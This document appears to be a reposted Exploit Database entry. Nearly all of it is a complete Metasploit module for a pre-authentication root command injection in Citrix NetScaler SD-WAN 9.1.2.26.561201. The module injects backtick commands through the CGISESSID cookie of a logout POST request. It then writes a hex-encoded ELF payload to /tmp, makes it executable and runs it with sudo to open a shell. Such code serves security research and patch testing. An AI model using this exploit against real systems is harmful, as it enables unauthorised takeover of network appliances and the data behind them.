Netscaler SD-WAN 9.1.2.26.561201 – Command Injection (Metasploit)

• Exploit Database
• 16 阅读

• 作者： xort
  日期： 2017-07-19
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/42345/

• # Exploit Title: Citix SD-WAN logout cookie preauth Remote Command Injection Vulnerablity 
  # Date: 02/20/2017
  # Exploit Author: xort @ Critical Start
  # Vendor Homepage: www.citrix.com
  # Software Link: https://www.citrix.com/downloads/cloudbridge/
  # Version: 9.1.2.26.561201
  # Tested on: 9.1.2.26.561201 (OS partition 4.6)
  #
  # CVE : (awaiting cve)
  
  # vuln: CGISESSID Cookie parameter
  #associated vuln urls:
  # /global_data/ 
  #			/global_data/headerdata 
  #			/log
  #			/
  #			/r9-1-2-26-561201/configuration/ 
  #			/r9-1-2-26-561201/configuration/edit 
  #			/r9-1-2-26-561201/configuration/www.citrix.com [CGISESSID cookie]
  #
  # Description PreAuth Remote Root Citrix SD-WAN <= v9.1.2.26.561201. This exploit leverages a command injection bug. 
  #
  # xort @ Critical Start
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  	includeExploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Citrix SD-WAN CGISESSID Cookie Remote Root',
  					'Description'=> %q{
  					This module exploits a remote command execution vulnerability in the Citrix SD-WAN Appliace Version <=v9.1.2.26.561201. The vulnerability exist in a section of the machine's session checking functionality. If the CGISESSID cookie holds shell-command data - it is used in a call to system where input is processed unsanitized.
  			},
  			'Author' =>
  				[
  					'xort@Critical Start', # vuln + metasploit module
  				],
  			'Version'=> '$Revision: 1 $',
  			'References' =>
  				[
  					[ 'none', 'none'],
  				],
  			'Platform'=> [ 'linux'],
  			'Privileged' => true,
  			 'Arch'=> [ ARCH_X86 ],
  'SessionTypes'=> [ 'shell' ],
  		'Payload'=>
  { 
  'Compat' =>
  {
  'ConnectionType' => 'find',
  }
  },
  
  			'Targets'=>
  				[
  					['Linux Universal',
  						{
  								'Arch' => ARCH_X86,
  								'Platform' => 'linux'
  						}
  					],
  				],
  			'DefaultTarget' => 0))
  
  			register_options(
  				[
  					OptString.new('CMD', [ false, 'Command to execute', "" ]),	
  					Opt::RPORT(443),
  				], self.class)
  	end
  
  	def run_command(cmd)
  
  		vprint_status( "Running Command...\n" )
  
  		# send request with payload	
  		res = send_request_cgi({
  			'method' => 'POST',
  'uri' => "/global_data/",
  			'vars_post' => {
  				'action' => 'logout'
  			},
   	'headers' => {
  	'Connection' => 'close',
  	'Cookie' => 'CGISESSID=e6f1106605b5e8bee6114a3b5a88c5b4`'+cmd+'`; APNConfigEditorSession=0qnfarge1v62simtqeb300lkc7;',
  }
  
  		})
  
  
  		# pause to let things run smoothly
  		sleep(2)
  
  
  	end
  
  	
  	def exploit
  		# timeout
  		timeout = 1550;
  
  		# pause to let things run smoothly
  		sleep(2)
  
  		 #if no 'CMD' string - add code for root shell
  if not datastore['CMD'].nil? and not datastore['CMD'].empty?
  
  cmd = datastore['CMD']
  
  # Encode cmd payload
  
  encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\\\\\\\x\1\2')
  
  			# upload elf to /tmp/n , chmod +rx /tmp/n , then run /tmp/n (payload)
  run_command("echo -e #{encoded_cmd}>/tmp/n")
  run_command("chmod 755 /tmp/n")
  run_command("sudo /tmp/n")
  else
  # Encode payload to ELF file for deployment
  elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
  encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\\\\\\\x\1\2')
  
  			# upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
  run_command("echo -e #{encoded_elf}>/tmp/m")
  run_command("chmod 755 /tmp/m")
  run_command("sudo /tmp/m")
  
  			# wait for magic
  handler
  			
  end
  
  
  	end
  end